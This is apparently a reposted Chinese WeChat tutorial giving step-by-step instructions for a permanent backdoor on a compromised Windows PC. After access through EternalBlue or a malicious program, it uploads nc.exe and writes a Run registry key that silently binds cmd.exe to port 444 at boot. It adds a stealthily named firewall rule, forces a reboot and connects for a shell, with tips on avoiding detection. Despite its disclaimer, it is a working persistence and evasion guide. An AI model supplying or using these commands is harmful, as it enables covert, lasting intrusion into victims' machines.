注册表生成永久后门

#############################

免责声明：本文仅作收藏学习之用，亦希望大家以遵守《网络安全法》相关法律为前提学习，切勿用于非法犯罪活动，对于恶意使用造成的损失，和本人及作者无关。

##############################

1.先通过永恒之蓝或者发送一个恶意程序，拿到用户的权限，然后开始对其进行新建注册表留下后门，来达到长期的进行远控。

这里我是通过向用户端发送了一个恶意程序，用户执行之后，这里获取到了用户的shell

2.然后这里上传一个nc.exe的恶意程序，放在隐秘的目录下面。可以先看一下kali里面的nc.exe执行程序放在哪个文件夹下的。

3.开始向用户端上传nc

4.预向HKLM\software\microsoft\windows\currentversion\run这个组册表中里面执行一个组件，这里我们通过reg enumkey -k HKLM\software\microsoft\windows\currentversion\run查看当前有哪些字符串

5.然后我们开始创建一个新的项，来使得只要开机就可以运行我们这个nc程序。

reg setval -k HKLM\software\microsoft\windows\currentversion\run -v nc -d 'C:windowssystem32nc.exe -Ldp 444 -e cmd.exe'

-L：如果有人过来链接会把自己的shell给他，如果别人断开了，依然会持续侦听，不会因为一次断开，就不再监听了。

-d：就是静默执行，通过隐形模式在后台执行，而不容易被发现，防止露馅了。

6.我们在利用reg queryval -k HKLM\software\microsoft\windows\currentversion\Run -v nc命令查看一下这个项建立的情况。

7.此时我们的注册表已经建立完成，正常就是可以远控了，但是用户一般会开启防火墙，所以我们需要关闭防火墙，但是关闭防火墙太明显了，会被发现。所以我们在防火墙里面建立一个规则，只方通444端口。

首先我们执行execute -f cmd -i -H 打开用户端的cmd

8.然后我们通过命令：netsh firewall show opmode查看他的防火墙状态，发现是打开的。

9.执行命令：netsh firewall add portopening TCP 444 "test" ENABLE ALL建立一个入站的规则，名称是test，这里为了做到更好的隐蔽可以起一个更隐蔽的名字。

10.此时我们可先来到用户端防火墙上面的高级防火墙看一下

11.接下来就是让PC重启就可，重启之后前面的注册表就回默认生效。

命令：shutdown -r -t 0

12.等待开启我们直接nc 172.16.0.59 444 就可以轻松的拿到用户的shell，而且后面会长时间存在。

13最后我们可以用autoruns工具查看一下我们的建立的组册表。

原文始发于微信公众号（菜鸟小新）：注册表生成永久后门